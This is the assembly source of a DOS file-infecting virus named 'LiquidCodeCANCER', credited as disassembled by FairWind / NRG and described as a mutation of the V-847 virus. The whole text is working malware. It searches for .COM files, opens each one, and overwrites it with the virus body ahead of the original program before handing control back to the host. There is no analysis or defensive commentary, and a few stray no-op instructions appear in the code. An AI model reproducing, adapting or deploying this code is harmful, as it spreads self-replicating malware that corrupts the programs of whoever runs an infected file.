LiquidCodeCANCER
;
--------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
;
--------------------------------------------------------------------------
page ,132
name LiquidCodeCANCER
title LQCancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcode - offset start
start:
jmp cancer
ident db 'LiquidCode<tm>'
counter db 0
allcom db '*.COM',0
vleng db virlen
n_10D db 3
progbeg dd ?
eof dw ?
handle dw ?
cancer:
mov ax,cs
add ax,1000
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,newdta
mov ah,1A
mov ah,ah
int 21
mov ah,ah
mov dx,offset allcom
mov cx,110b
mov ah,4E
int 21
jc done
mainlp:
mov dx,offset fname
mov ax,3D02
int 21
mov [handle],ax
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF
mov ah,3F
int 21
add ax,buffer
mov cs:[eof],ax
xor cx,cx
mov dx,cx
mov bx,cs:[handle]
mov ax,4200
int 21
jc close
mov dx,0
mov cx,cs:[eof]
mov bx,cs:[handle]
mov ah,40
int 21
close:
mov bx,cs:[handle]
mov ah,3E
int 21
push cs
pop ds
mov ah,4F
mov dx,newdta
int 21
jc done
jmp mainlp
done:
mov dx,olddta
mov ah,1A
int 21
mov si,offset transf
mov cx,smalcod
xor di,di
rep movsb
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es
jmp cs:[progbeg]
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov di,di
mov bx,0ffff
mov cx,bx
mov ah,ah
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start]
endcode label byte
int 20
int 20
db 0
code ends
end start